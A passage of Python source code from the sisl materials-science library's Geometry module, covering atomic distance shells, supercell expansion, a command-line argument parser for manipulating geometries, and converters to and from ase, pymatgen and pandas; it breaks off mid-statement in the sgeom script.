+NORMALIZE_WHITESPACE\n array([1. , 1.41421356, 2. ])\n >>> geom.distance(R=2, tol=[0.5, 0.7]) # the R = 1 and R = 2 ** .5 gets averaged # doctest: +NORMALIZE_WHITESPACE\n array([1.20710678, 2. ])\n\n Returns\n -------\n numpy.ndarray\n an array of positive numbers yielding the distances from the atoms in reduced form\n\n See Also\n --------\n sparserij : return a sparse matrix will all distances between atoms\n \"\"\"\n atoms = self._sanitize_atoms(atoms).ravel()\n\n # Figure out maximum distance\n if R is None:\n R = self.maxR()\n if R < 0:\n raise ValueError(\n f\"{self.__class__.__name__}\"\n \".distance cannot determine the `R` parameter. \"\n \"The internal `maxR()` is negative and thus not set. \"\n \"Set an explicit value for `R`.\"\n )\n elif np.any(self.nsc > 1):\n maxR = fnorm(self.cell).max()\n # These loops could be leveraged if we look at angles...\n for i, j, k in product(\n [0, self.nsc[0] // 2], [0, self.nsc[1] // 2], [0, self.nsc[2] // 2]\n ):\n if i == 0 and j == 0 and k == 0:\n continue\n sc = [i, j, k]\n off = self.lattice.offset(sc)\n\n for ii, jj, kk in product([0, 1], [0, 1], [0, 1]):\n o = self.cell[0] * ii + self.cell[1] * jj + self.cell[2] * kk\n maxR = max(maxR, fnorm(off + o))\n\n if R > maxR:\n R = maxR\n\n # Convert to list\n tol = _a.asarrayd(tol).ravel()\n if len(tol) == 1:\n # Now we are in a position to determine the sizes\n dR = _a.aranged(tol[0] * 0.5, R + tol[0] * 0.55, tol[0])\n else:\n dR = tol.copy()\n dR[0] *= 0.5\n # The first tolerance, is for it-self, the second\n # has to have the first tolerance as the field\n dR = _a.cumsumd(np.insert(dR, 1, tol[0]))\n\n if dR[-1] < R:\n # Now finalize dR by ensuring all remaining segments are captured\n t = tol[-1]\n\n dR = concatenate((dR, _a.aranged(dR[-1] + t, R + t * 0.55, t)))\n\n # Reduce to the largest value above R\n # This ensures that R, truly is the largest considered element\n dR = dR[: (dR > R).nonzero()[0][0] + 1]\n\n # Now we can figure out the list of atoms in each shell\n # First create the initial lists of shell atoms\n # The inner shell will never be used, because it should correspond\n # to the atom it-self.\n shells = [[] for i in range(len(dR) - 1)]\n\n for a in atoms:\n _, r = self.close(a, R=dR, ret_rij=True)\n\n for i, rlist in enumerate(r[1:]):\n shells[i].extend(rlist)\n\n # Now parse all of the shells with the correct routine\n # First we grap the routine:\n if isinstance(method, str):\n if method == \"median\":\n\n def func(lst):\n return np.median(lst, overwrite_input=True)\n\n elif method == \"mode\":\n from scipy.stats import mode\n\n def func(lst):\n return mode(lst, keepdims=False)[0]\n\n else:\n try:\n func = getattr(np, method)\n except Exception:\n raise ValueError(\n f\"{self.__class__.__name__}.distance `method` got wrong input value.\"\n )\n else:\n func = method\n\n # Reduce lists\n for i in range(len(shells)):\n lst = shells[i]\n if len(lst) == 0:\n continue\n\n # Reduce elements\n shells[i] = func(lst)\n\n # Convert to flattened numpy array and ensure shape\n d = np.hstack(shells).ravel()\n\n return d\n\n def within_inf(\n self, lattice: Lattice, periodic=None, tol: float = 1e-5, origin=None\n ) -> Tuple[ndarray, ndarray, ndarray]:\n \"\"\"Find all atoms within a provided supercell\n\n Note this function is rather different from `close` and `within`.\n Specifically this routine is returning *all* indices for the infinite\n periodic system (where ``self.nsc > 1`` or `periodic` is true).\n\n Atomic coordinates lying on the boundary of the supercell will be duplicated\n on the neighbouring supercell images. Thus performing `geom.within_inf(geom.lattice)`\n may result in more atoms than in the structure.\n\n Notes\n -----\n The name of this function may change. Currently it should only be used\n internally in sisl.\n\n Parameters\n ----------\n lattice : Lattice or LatticeChild\n the supercell in which this geometry should be expanded into.\n periodic : list of bool\n explicitly define the periodic directions, by default the periodic\n directions are only where ``self.nsc > 1``.\n tol :\n length tolerance for the fractional coordinates to be on a duplicate site (in Ang).\n This allows atoms within `tol` of the cell boundaries to be taken as *inside* the\n cell.\n origin : (3,) of float, optional\n origin that is the basis for comparison, default to 0.\n\n Returns\n -------\n numpy.ndarray\n unit-cell atomic indices which are inside the `lattice` cell\n numpy.ndarray\n atomic coordinates for the `ia` atoms (including supercell offsets)\n numpy.ndarray\n integer supercell offsets for `ia` atoms\n \"\"\"\n if periodic is None:\n periodic = self.nsc > 1\n else:\n periodic = list(periodic)\n\n if origin is None:\n origin = _a.zerosd(3)\n\n # Our first task is to construct a geometry large\n # enough to fully encompass the supercell\n\n # 1. Number of times each lattice vector must be expanded to fit\n # inside the \"possibly\" larger `lattice`.\n idx = dot(lattice.cell, self.icell.T)\n tile_min = floor(idx.min(0))\n tile_max = ceil(idx.max(0)).astype(dtype=int32)\n\n # Intrinsic offset (when atomic coordinates are outside primary unit-cell)\n idx = dot(self.xyz, self.icell.T)\n tmp = floor(idx.min(0))\n tile_min = np.where(tile_min < tmp, tile_min, tmp).astype(dtype=int32)\n tmp = ceil(idx.max(0))\n tile_max = np.where(tmp < tile_max, tile_max, tmp).astype(dtype=int32)\n del idx, tmp\n\n # 1a) correct for origin displacement\n idx = floor(dot(lattice.origin, self.icell.T))\n tile_min = np.where(tile_min < idx, tile_min, idx).astype(dtype=int32)\n idx = floor(dot(origin, self.icell.T))\n tile_min = np.where(tile_min < idx, tile_min, idx).astype(dtype=int32)\n\n # 2. Reduce tiling along non-periodic directions\n tile_min = np.where(periodic, tile_min, 0)\n tile_max = np.where(periodic, tile_max, 1)\n\n # 3. Find the *new* origin according to the *negative* tilings.\n # This is important for skewed cells as the placement of the new\n # larger geometry has to be shifted to have lattice inside\n big_origin = (tile_min.reshape(3, 1) * self.cell).sum(0)\n\n # The xyz geometry that fully encompass the (possibly) larger supercell\n tile = tile_max - tile_min\n full_geom = (self * tile).translate(big_origin - origin)\n\n # Now we have to figure out all atomic coordinates within\n cuboid = lattice.to.Cuboid()\n\n # Make sure that full_geom doesn't return coordinates outside the unit cell\n # for non periodic directions\n full_geom.set_nsc([full_geom.nsc[i] if periodic[i] else 1 for i in range(3)])\n\n # Now retrieve all atomic coordinates from the full geometry\n xyz = full_geom.axyz(_a.arangei(full_geom.na_s))\n idx = cuboid.within_index(xyz)\n xyz = xyz[idx, :]\n del full_geom\n\n # Figure out supercell connections in the smaller indices\n # Since we have shifted all coordinates into the primary unit cell we\n # are sure that these fxyz are [0:1[\n fxyz = dot(xyz, self.icell.T)\n\n # Since there are numerical errors for the above operation\n # we *have* to account for possible sign-errors\n # This is done by a length tolerance\n ftol = tol / fnorm(self.cell).reshape(1, 3)\n isc = floor(fxyz - ftol).astype(int32)\n\n # Now we can extract the indices where the two are non-matching.\n # At these indices we have some \"errors\" that we have to fix and\n # thus select the correct isc.\n idx_diff = (isc - floor(fxyz + ftol).astype(int32)).nonzero()\n\n # For these indices we can use the nearest integer as that\n # selects the closest. floor will ONLY be wrong for -0.0000, 0.99999, ...\n isc[idx_diff] = np.rint(fxyz[idx_diff]).astype(int32)\n\n # Convert indices to unit-cell indices and also return coordinates and\n # infinite supercell indices\n return self.sc2uc(idx), xyz, isc\n\n def apply(self, data, func, mapper, axis: int = 0, segments=\"atoms\") -> ndarray:\n r\"\"\"Apply a function `func` to the data along axis `axis` using the method specified\n\n This can be useful for applying conversions from orbital data to atomic data through\n sums or other functions.\n\n The data may be of any shape but it is expected the function can handle arguments as\n ``func(data, axis=axis)``.\n\n Parameters\n ----------\n data : array_like\n the data to be converted\n func : callable\n a callable function that transforms the data in some way\n mapper : func, optional\n a function transforming the `segments` into some other segments that\n is present in `data`.\n axis :\n axis selector for `data` along which `func` will be applied\n segments : {\"atoms\", \"orbitals\", \"all\"} or iterator, optional\n which segments the `mapper` will recieve, if atoms, each atom\n index will be passed to the `mapper(ia)`.\n\n Notes\n -----\n\n This will likely be moved to a separate function since it in principle has nothing to\n do with the Geometry class.\n\n Examples\n --------\n Convert orbital data into summed atomic data\n\n >>> g = sisl.geom.diamond(atoms=sisl.Atom(6, R=(1, 2)))\n >>> orbital_data = np.random.rand(10, g.no, 3)\n >>> atomic_data = g.apply(orbital_data, np.sum, mapper=g.a2o, axis=1)\n\n The same can be accomblished by passing an explicit segment iterator,\n note that ``iter(g) == range(g.na)``\n\n >>> atomic_data = g.apply(orbital_data, np.sum, mapper=g.a2o, axis=1,\n ... segments=iter(g))\n\n To only take out every 2nd orbital:\n\n >>> alternate_data = g.apply(orbital_data, np.sum, mapper=lambda idx: idx[::2], axis=1,\n ... segments=\"all\")\n\n \"\"\"\n if isinstance(segments, str):\n if segments == \"atoms\":\n segments = range(self.na)\n elif segments == \"orbitals\":\n segments = range(self.no)\n elif segments == \"all\":\n segments = range(data.shape[axis])\n else:\n raise ValueError(\n f\"{self.__class__}.apply got wrong argument 'segments'={segments}\"\n )\n\n # handle the data\n new_data = [\n # execute func on the segmented data\n func(np.take(data, mapper(segment), axis), axis=axis)\n # loop each segment\n for segment in segments\n ]\n\n return np.stack(new_data, axis=axis)\n\n # Create pickling routines\n def __getstate__(self):\n \"\"\"Returns the state of this object\"\"\"\n d = self.lattice.__getstate__()\n d[\"xyz\"] = self.xyz\n d[\"atoms\"] = self.atoms.__getstate__()\n return d\n\n def __setstate__(self, d):\n \"\"\"Re-create the state of this object\"\"\"\n lattice = Lattice([1, 1, 1])\n lattice.__setstate__(d)\n atoms = Atoms()\n atoms.__setstate__(d[\"atoms\"])\n self.__init__(d[\"xyz\"], atoms=atoms, lattice=lattice)\n\n @classmethod\n def _ArgumentParser_args_single(cls):\n \"\"\"Returns the options for `Geometry.ArgumentParser` in case they are the only options\"\"\"\n return {\n \"limit_arguments\": False,\n \"short\": True,\n \"positional_out\": True,\n }\n\n # Hook into the Geometry class to create\n # an automatic ArgumentParser which makes actions\n # as the options are read.\n @default_ArgumentParser(description=\"Manipulate a Geometry object in sisl.\")\n def ArgumentParser(self, p=None, *args, **kwargs):\n \"\"\"Create and return a group of argument parsers which manipulates it self `Geometry`.\n\n Parameters\n ----------\n parser : ArgumentParser, optional\n in case the arguments should be added to a specific parser. It defaults\n to create a new.\n limit_arguments : bool, optional\n If ``False`` additional options will be created which are similar to other options.\n For instance ``--repeat-x <>`` which is equivalent to ``--repeat <> x``.\n Default `True`.\n short : bool, optional\n Create short options for a selected range of options.\n positional_out : bool, optional\n If ``True``, adds a positional argument which acts as --out. This may be handy if only the geometry is in the argument list.\n \"\"\"\n limit_args = kwargs.get(\"limit_arguments\", True)\n short = kwargs.get(\"short\", False)\n\n if short:\n\n def opts(*args):\n return args\n\n else:\n\n def opts(*args):\n return [arg for arg in args if arg.startswith(\"--\")]\n\n # We limit the import to occur here\n import argparse\n\n # The first thing we do is adding the geometry to the NameSpace of the\n # parser.\n # This will enable custom actions to interact with the geometry in a\n # straight forward manner.\n if isinstance(self, Geometry):\n g = self.copy()\n else:\n g = None\n namespace = default_namespace(\n _geometry=g,\n _stored_geometry=False,\n )\n\n # Create actions\n class Format(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n ns._geom_fmt = value[0]\n\n p.add_argument(\n *opts(\"--format\"),\n action=Format,\n nargs=1,\n default=\".8f\",\n help=\"Specify output format for coordinates.\",\n )\n\n class MoveOrigin(argparse.Action):\n def __call__(self, parser, ns, no_value, option_string=None):\n ns._geometry.xyz[:, :] -= np.amin(ns._geometry.xyz, axis=0)[None, :]\n\n p.add_argument(\n *opts(\"--origin\", \"-O\"),\n action=MoveOrigin,\n nargs=0,\n help=\"Move all atoms such that the smallest value along each Cartesian direction will be at the origin.\",\n )\n\n class MoveCenterOf(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n xyz = ns._geometry.center(what=\"xyz\")\n ns._geometry = ns._geometry.translate(\n ns._geometry.center(what=value) - xyz\n )\n\n p.add_argument(\n *opts(\"--center-of\", \"-co\"),\n choices=[\"mass\", \"mass:pbc\", \"xyz\", \"position\", \"cell\", \"mm:xyz\"],\n action=MoveCenterOf,\n help=\"Move coordinates to the center of the designated choice.\",\n )\n\n class MoveUnitCell(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n if value in [\"translate\", \"tr\", \"t\"]:\n # Simple translation\n tmp = np.amin(ns._geometry.xyz, axis=0)\n ns._geometry = ns._geometry.translate(-tmp)\n elif value in [\"mod\"]:\n g = ns._geometry\n # Change all coordinates using the reciprocal cell and move to unit-cell (% 1.)\n fxyz = g.fxyz % 1.0\n ns._geometry.xyz[:, :] = dot(fxyz, g.cell)\n\n p.add_argument(\n *opts(\"--unit-cell\", \"-uc\"),\n choices=[\"translate\", \"tr\", \"t\", \"mod\"],\n action=MoveUnitCell,\n help=\"Moves the coordinates into the unit-cell by translation or the mod-operator\",\n )\n\n # Rotation\n class Rotation(argparse.Action):\n def __call__(self, parser, ns, values, option_string=None):\n # Convert value[0] to the direction\n # The rotate function expects degree\n ang = angle(values[0], rad=False, in_rad=False)\n ns._geometry = ns._geometry.rotate(ang, values[1], what=\"abc+xyz\")\n\n p.add_argument(\n *opts(\"--rotate\", \"-R\"),\n nargs=2,\n metavar=(\"ANGLE\", \"DIR\"),\n action=Rotation,\n help='Rotate coordinates and lattice vectors around given axis (x|y|z|a|b|c). ANGLE defaults to be specified in degree. Prefix with \"r\" for input in radians.',\n )\n\n if not limit_args:\n\n class RotationX(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n # The rotate function expects degree\n ang = angle(value, rad=False, in_rad=False)\n ns._geometry = ns._geometry.rotate(ang, \"x\", what=\"abc+xyz\")\n\n p.add_argument(\n *opts(\"--rotate-x\", \"-Rx\"),\n metavar=\"ANGLE\",\n action=RotationX,\n help='Rotate coordinates and lattice vectors around x axis. ANGLE defaults to be specified in degree. Prefix with \"r\" for input in radians.',\n )\n\n class RotationY(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n # The rotate function expects degree\n ang = angle(value, rad=False, in_rad=False)\n ns._geometry = ns._geometry.rotate(ang, \"y\", what=\"abc+xyz\")\n\n p.add_argument(\n *opts(\"--rotate-y\", \"-Ry\"),\n metavar=\"ANGLE\",\n action=RotationY,\n help='Rotate coordinates and lattice vectors around y axis. ANGLE defaults to be specified in degree. Prefix with \"r\" for input in radians.',\n )\n\n class RotationZ(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n # The rotate function expects degree\n ang = angle(value, rad=False, in_rad=False)\n ns._geometry = ns._geometry.rotate(ang, \"z\", what=\"abc+xyz\")\n\n p.add_argument(\n *opts(\"--rotate-z\", \"-Rz\"),\n metavar=\"ANGLE\",\n action=RotationZ,\n help='Rotate coordinates and lattice vectors around z axis. ANGLE defaults to be specified in degree. Prefix with \"r\" for input in radians.',\n )\n\n # Reduce size of geometry\n class ReduceSub(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n # Get atomic indices\n rng = lstranges(strmap(int, value))\n ns._geometry = ns._geometry.sub(rng)\n\n p.add_argument(\n \"--sub\",\n metavar=\"RNG\",\n action=ReduceSub,\n help=\"Retains specified atoms, can be complex ranges.\",\n )\n\n class ReduceRemove(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n # Get atomic indices\n rng = lstranges(strmap(int, value))\n ns._geometry = ns._geometry.remove(rng)\n\n p.add_argument(\n \"--remove\",\n metavar=\"RNG\",\n action=ReduceRemove,\n help=\"Removes specified atoms, can be complex ranges.\",\n )\n\n # Swaps atoms\n class AtomSwap(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n # Get atomic indices\n a = lstranges(strmap(int, value[0]))\n b = lstranges(strmap(int, value[1]))\n if len(a) != len(b):\n raise ValueError(\n \"swapping atoms requires equal number of LHS and RHS atomic ranges\"\n )\n ns._geometry = ns._geometry.swap(a, b)\n\n p.add_argument(\n *opts(\"--swap\"),\n metavar=(\"A\", \"B\"),\n nargs=2,\n action=AtomSwap,\n help=\"Swaps groups of atoms (can be complex ranges). The groups must be of equal length.\",\n )\n\n # Add an atom\n class AtomAdd(argparse.Action):\n def __call__(self, parser, ns, values, option_string=None):\n # Create an atom from the input\n g = Geometry(\n [float(x) for x in values[0].split(\",\")], atoms=Atom(values[1])\n )\n ns._geometry = ns._geometry.add(g)\n\n p.add_argument(\n *opts(\"--add\"),\n nargs=2,\n metavar=(\"COORD\", \"Z\"),\n action=AtomAdd,\n help=\"Adds an atom, coordinate is comma separated (in Ang). Z is the atomic number.\",\n )\n\n class Translate(argparse.Action):\n def __call__(self, parser, ns, values, option_string=None):\n # Create an atom from the input\n if \",\" in values[0]:\n xyz = [float(x) for x in values[0].split(\",\")]\n else:\n xyz = [float(x) for x in values[0].split()]\n ns._geometry = ns._geometry.translate(xyz)\n\n p.add_argument(\n *opts(\"--translate\", \"-t\"),\n nargs=1,\n metavar=\"COORD\",\n action=Translate,\n help=\"Translates the coordinates via a comma separated list (in Ang).\",\n )\n\n # Periodicly increase the structure\n class PeriodRepeat(argparse.Action):\n def __call__(self, parser, ns, values, option_string=None):\n r = int(values[0])\n d = direction(values[1])\n ns._geometry = ns._geometry.repeat(r, d)\n\n p.add_argument(\n *opts(\"--repeat\", \"-r\"),\n nargs=2,\n metavar=(\"TIMES\", \"DIR\"),\n action=PeriodRepeat,\n help=\"Repeats the geometry in the specified direction.\",\n )\n\n if not limit_args:\n\n class PeriodRepeatX(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n ns._geometry = ns._geometry.repeat(int(value), 0)\n\n p.add_argument(\n *opts(\"--repeat-x\", \"-rx\"),\n metavar=\"TIMES\",\n action=PeriodRepeatX,\n help=\"Repeats the geometry along the first cell vector.\",\n )\n\n class PeriodRepeatY(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n ns._geometry = ns._geometry.repeat(int(value), 1)\n\n p.add_argument(\n *opts(\"--repeat-y\", \"-ry\"),\n metavar=\"TIMES\",\n action=PeriodRepeatY,\n help=\"Repeats the geometry along the second cell vector.\",\n )\n\n class PeriodRepeatZ(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n ns._geometry = ns._geometry.repeat(int(value), 2)\n\n p.add_argument(\n *opts(\"--repeat-z\", \"-rz\"),\n metavar=\"TIMES\",\n action=PeriodRepeatZ,\n help=\"Repeats the geometry along the third cell vector.\",\n )\n\n class ReduceUnrepeat(argparse.Action):\n def __call__(self, parser, ns, values, option_string=None):\n s = int(values[0])\n d = direction(values[1])\n ns._geometry = ns._geometry.unrepeat(s, d)\n\n p.add_argument(\n *opts(\"--unrepeat\", \"-ur\"),\n nargs=2,\n metavar=(\"REPS\", \"DIR\"),\n action=ReduceUnrepeat,\n help=\"Unrepeats the geometry into `reps` parts along the unit-cell direction `dir` (opposite of --repeat).\",\n )\n\n class PeriodTile(argparse.Action):\n def __call__(self, parser, ns, values, option_string=None):\n r = int(values[0])\n d = direction(values[1])\n ns._geometry = ns._geometry.tile(r, d)\n\n p.add_argument(\n *opts(\"--tile\"),\n nargs=2,\n metavar=(\"TIMES\", \"DIR\"),\n action=PeriodTile,\n help=\"Tiles the geometry in the specified direction.\",\n )\n\n if not limit_args:\n\n class PeriodTileX(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n ns._geometry = ns._geometry.tile(int(value), 0)\n\n p.add_argument(\n *opts(\"--tile-x\", \"-tx\"),\n metavar=\"TIMES\",\n action=PeriodTileX,\n help=\"Tiles the geometry along the first cell vector.\",\n )\n\n class PeriodTileY(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n ns._geometry = ns._geometry.tile(int(value), 1)\n\n p.add_argument(\n *opts(\"--tile-y\", \"-ty\"),\n metavar=\"TIMES\",\n action=PeriodTileY,\n help=\"Tiles the geometry along the second cell vector.\",\n )\n\n class PeriodTileZ(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n ns._geometry = ns._geometry.tile(int(value), 2)\n\n p.add_argument(\n *opts(\"--tile-z\", \"-tz\"),\n metavar=\"TIMES\",\n action=PeriodTileZ,\n help=\"Tiles the geometry along the third cell vector.\",\n )\n\n class ReduceUntile(argparse.Action):\n def __call__(self, parser, ns, values, option_string=None):\n s = int(values[0])\n d = direction(values[1])\n ns._geometry = ns._geometry.untile(s, d)\n\n p.add_argument(\n *opts(\"--untile\", \"--cut\", \"-ut\"),\n nargs=2,\n metavar=(\"REPS\", \"DIR\"),\n action=ReduceUntile,\n help=\"Untiles the geometry into `reps` parts along the unit-cell direction `dir` (opposite of --tile).\",\n )\n\n # append another geometry\n class Geometryend(argparse.Action):\n def __call__(self, parser, ns, values, option_string=None):\n # Create an atom from the input\n f = Path(values[0])\n geom = Geometry.read(values[0])\n d = direction(values[1])\n ns._geometry = getattr(ns._geometry, self._method_pend)(geom, d)\n\n class GeometryAppend(Geometryend):\n _method_pend = \"append\"\n\n p.add_argument(\n *opts(\"--append\"),\n nargs=2,\n metavar=(\"GEOM\", \"DIR\"),\n action=GeometryAppend,\n help=\"Appends another Geometry along direction DIR.\",\n )\n\n class GeometryPrepend(Geometryend):\n _method_pend = \"prepend\"\n\n p.add_argument(\n *opts(\"--prepend\"),\n nargs=2,\n metavar=(\"GEOM\", \"DIR\"),\n action=GeometryPrepend,\n help=\"Prepends another Geometry along direction DIR.\",\n )\n\n # Sort\n class Sort(argparse.Action):\n def __call__(self, parser, ns, values, option_string=None):\n # call geometry.sort(...) using appropriate keywords (and ordered dict)\n kwargs = OrderedDict()\n opts = values[0].split(\";\")\n for i, opt in enumerate(opts):\n # Split for equal\n opt = opt.split(\"=\", 1)\n if len(opt) > 1:\n opt, val = opt\n else:\n opt = opt[0]\n val = \"True\"\n if val.lower() in [\"t\", \"true\"]:\n val = True\n elif val.lower() in [\"f\", \"false\"]:\n val = False\n elif opt in [\"atol\"]:\n # float values\n val = float(val)\n elif opt == \"group\":\n pass\n else:\n # it must be a range/tuple\n val = lstranges(strmap(int, val))\n\n # we always add integers to allow users to use the same keywords on commandline\n kwargs[opt.strip() + str(i)] = val\n ns._geometry = ns._geometry.sort(**kwargs)\n\n p.add_argument(\n *opts(\"--sort\"),\n nargs=1,\n metavar=\"SORT\",\n action=Sort,\n help='Semi-colon separated options for sort, please always encapsulate in quotation [\"axis=0;descend;lattice=(1, 2);group=Z\"].',\n )\n\n # Print some common information about the\n # geometry (to stdout)\n class PrintInfo(argparse.Action):\n def __call__(self, parser, ns, no_value, option_string=None):\n # We fake that it has been stored...\n ns._stored_geometry = True\n print(ns._geometry)\n\n p.add_argument(\n *opts(\"--info\"),\n nargs=0,\n action=PrintInfo,\n help=\"Print, to stdout, some regular information about the geometry.\",\n )\n\n class Out(argparse.Action):\n def __call__(self, parser, ns, value, option_string=None):\n if value is None:\n return\n if len(value) == 0:\n return\n # If the vector, exists, we should write it\n kwargs = {}\n if hasattr(ns, \"_geom_fmt\"):\n kwargs[\"fmt\"] = ns._geom_fmt\n if hasattr(ns, \"_vector\"):\n v = getattr(ns, \"_vector\")\n vs = getattr(ns, \"_vector_scale\")\n if isinstance(vs, bool):\n if vs:\n vs = 1.0 / np.max(sqrt(square(v).sum(1)))\n info(f\"Scaling vector by: {vs}\")\n else:\n vs = 1.0\n\n # Store the vectors with the scaling\n kwargs[\"data\"] = v * vs\n ns._geometry.write(value[0], **kwargs)\n # Issue to the namespace that the geometry has been written, at least once.\n ns._stored_geometry = True\n\n p.add_argument(\n *opts(\"--out\", \"-o\"),\n nargs=1,\n action=Out,\n help=\"Store the geometry (at its current invocation) to the out file.\",\n )\n\n # If the user requests positional out arguments, we also add that.\n if kwargs.get(\"positional_out\", False):\n p.add_argument(\n \"out\",\n nargs=\"*\",\n default=None,\n action=Out,\n help=\"Store the geometry (at its current invocation) to the out file.\",\n )\n\n # We have now created all arguments\n return p, namespace\n\n\nnew_dispatch = Geometry.new\nto_dispatch = Geometry.to\n\n\n# Define base-class for this\nclass GeometryNewDispatch(AbstractDispatch):\n \"\"\"Base dispatcher from class passing arguments to Geometry class\n\n This forwards all `__call__` calls to `dispatch`\n \"\"\"\n\n def __call__(self, *args, **kwargs):\n return self.dispatch(*args, **kwargs)\n\n\n# Bypass regular Geometry to be returned as is\nclass GeometryNewGeometryDispatch(GeometryNewDispatch):\n def dispatch(self, geometry, copy=False):\n \"\"\"Return geometry as-is (no copy), for sanitization purposes\"\"\"\n if copy:\n return geometry.copy()\n return geometry\n\n\nnew_dispatch.register(Geometry, GeometryNewGeometryDispatch)\n\n\nclass GeometryNewAseDispatch(GeometryNewDispatch):\n def dispatch(self, aseg, **kwargs):\n \"\"\"Convert an ``ase`` object into a `Geometry`\"\"\"\n cls = self._get_class()\n Z = aseg.get_atomic_numbers()\n xyz = aseg.get_positions()\n cell = aseg.get_cell()\n nsc = [3 if pbc else 1 for pbc in aseg.pbc]\n lattice = Lattice(cell, nsc=nsc)\n return cls(xyz, atoms=Z, lattice=lattice, **kwargs)\n\n\nnew_dispatch.register(\"ase\", GeometryNewAseDispatch)\n\n# currently we can't ensure the ase Atoms type\n# to get it by type(). That requires ase to be importable.\ntry:\n from ase import Atoms as ase_Atoms\n\n new_dispatch.register(ase_Atoms, GeometryNewAseDispatch)\n # ensure we don't pollute name-space\n del ase_Atoms\nexcept Exception:\n pass\n\n\nclass GeometryNewpymatgenDispatch(GeometryNewDispatch):\n def dispatch(self, struct, **kwargs):\n \"\"\"Convert a ``pymatgen`` structure/molecule object into a `Geometry`\"\"\"\n from pymatgen.core import Structure\n\n cls = self._get_class(allow_instance=True)\n\n Z = []\n xyz = []\n for site in struct.sites:\n Z.append(site.specie.Z)\n xyz.append(site.coords)\n xyz = np.array(xyz)\n\n if isinstance(struct, Structure):\n # we also have the lattice\n cell = struct.lattice.matrix\n nsc = [3, 3, 3] # really, this is unknown\n else:\n cell = xyz.max() - xyz.min(0) + 15.0\n nsc = [1, 1, 1]\n lattice = Lattice(cell, nsc=nsc)\n return cls(xyz, atoms=Z, lattice=lattice, **kwargs)\n\n\nnew_dispatch.register(\"pymatgen\", GeometryNewpymatgenDispatch)\n\n# currently we can't ensure the pymatgen classes\n# to get it by type(). That requires pymatgen to be importable.\ntry:\n from pymatgen.core import Molecule as pymatgen_Molecule\n from pymatgen.core import Structure as pymatgen_Structure\n\n new_dispatch.register(pymatgen_Molecule, GeometryNewpymatgenDispatch)\n new_dispatch.register(pymatgen_Structure, GeometryNewpymatgenDispatch)\n # ensure we don't pollute name-space\n del pymatgen_Molecule, pymatgen_Structure\nexcept Exception:\n pass\n\n\nclass GeometryNewFileDispatch(GeometryNewDispatch):\n def dispatch(self, *args, **kwargs):\n \"\"\"Defer the `Geometry.read` method by passing down arguments\"\"\"\n # can work either on class or instance\n return self._obj.read(*args, **kwargs)\n\n\nnew_dispatch.register(str, GeometryNewFileDispatch)\nnew_dispatch.register(Path, GeometryNewFileDispatch)\n# see sisl/__init__.py for new_dispatch.register(BaseSile, GeometryNewFileDispatcher)\n\n\nclass GeometryToDispatch(AbstractDispatch):\n \"\"\"Base dispatcher from class passing from Geometry class\"\"\"\n\n\nclass GeometryToAseDispatch(GeometryToDispatch):\n def dispatch(self, **kwargs):\n from ase import Atoms as ase_Atoms\n\n geom = self._get_object()\n return ase_Atoms(\n symbols=geom.atoms.Z,\n positions=geom.xyz.tolist(),\n cell=geom.cell.tolist(),\n pbc=geom.nsc > 1,\n **kwargs,\n )\n\n\nto_dispatch.register(\"ase\", GeometryToAseDispatch)\n\n\nclass GeometryTopymatgenDispatch(GeometryToDispatch):\n def dispatch(self, **kwargs):\n from pymatgen.core import Lattice, Molecule, Structure\n\n from sisl.atom import PeriodicTable\n\n # ensure we have an object\n geom = self._get_object()\n\n lattice = Lattice(geom.cell)\n # get atomic letters and coordinates\n PT = PeriodicTable()\n xyz = geom.xyz\n species = [PT.Z_label(Z) for Z in geom.atoms.Z]\n\n if all(self.nsc == 1):\n # we define a molecule\n return Molecule(species, xyz, **kwargs)\n return Structure(lattice, species, xyz, coords_are_cartesian=True, **kwargs)\n\n\nto_dispatch.register(\"pymatgen\", GeometryTopymatgenDispatch)\n\n\nclass GeometryToSileDispatch(GeometryToDispatch):\n def dispatch(self, *args, **kwargs):\n geom = self._get_object()\n return geom.write(*args, **kwargs)\n\n\nto_dispatch.register(\"str\", GeometryToSileDispatch)\nto_dispatch.register(\"Path\", GeometryToSileDispatch)\n# to do geom.to[Path](path)\nto_dispatch.register(str, GeometryToSileDispatch)\nto_dispatch.register(Path, GeometryToSileDispatch)\n\n\nclass GeometryToDataframeDispatch(GeometryToDispatch):\n def dispatch(self, *args, **kwargs):\n import pandas as pd\n\n geom = self._get_object()\n\n # Now create data-frame\n # Currently we will populate it with\n # - xyz\n # - symbol\n # - Z\n # - tag\n # - R\n # - mass\n # - valence q\n # - norbs\n data = {}\n x, y, z = geom.xyz.T\n data[\"x\"] = x\n data[\"y\"] = y\n data[\"z\"] = z\n\n atoms = geom.atoms\n data[\"Z\"] = atoms.Z\n data[\"mass\"] = atoms.mass\n data[\"R\"] = atoms.maxR(all=True)\n data[\"q0\"] = atoms.q0\n data[\"norbitals\"] = atoms.orbitals\n\n return pd.DataFrame(data)\n\n\nto_dispatch.register(\"dataframe\", GeometryToDataframeDispatch)\n\n# Remove references\ndel new_dispatch, to_dispatch\n\n\n@set_module(\"sisl\")\ndef sgeom(geometry=None, argv=None, ret_geometry=False):\n \"\"\"Main script for sgeom.\n\n This routine may be called with `argv` and/or a `Sile` which is the geometry at hand.\n\n Parameters\n ----------\n geom : Geometry or BaseSile\n this may either be the geometry, as-is, or a `Sile` which contains\n the geometry.\n argv : list of str\n the arguments passed to sgeom\n ret_geometry : bool, optional\n whether the function should return the geometry\n \"\"\"\n import argparse\n import sys\n from pathlib import Path\n\n from sisl.io import BaseSile, get_sile\n\n # The geometry-file *MUST* be the first argument\n # (except --help|-h)\n exe = Path(sys.argv[0]).name\n\n # We cannot create a separate ArgumentParser to retrieve a positional arguments\n # as that will grab the first argument for an option!\n\n # Start creating the command-line utilities that are the actual ones.\n description = 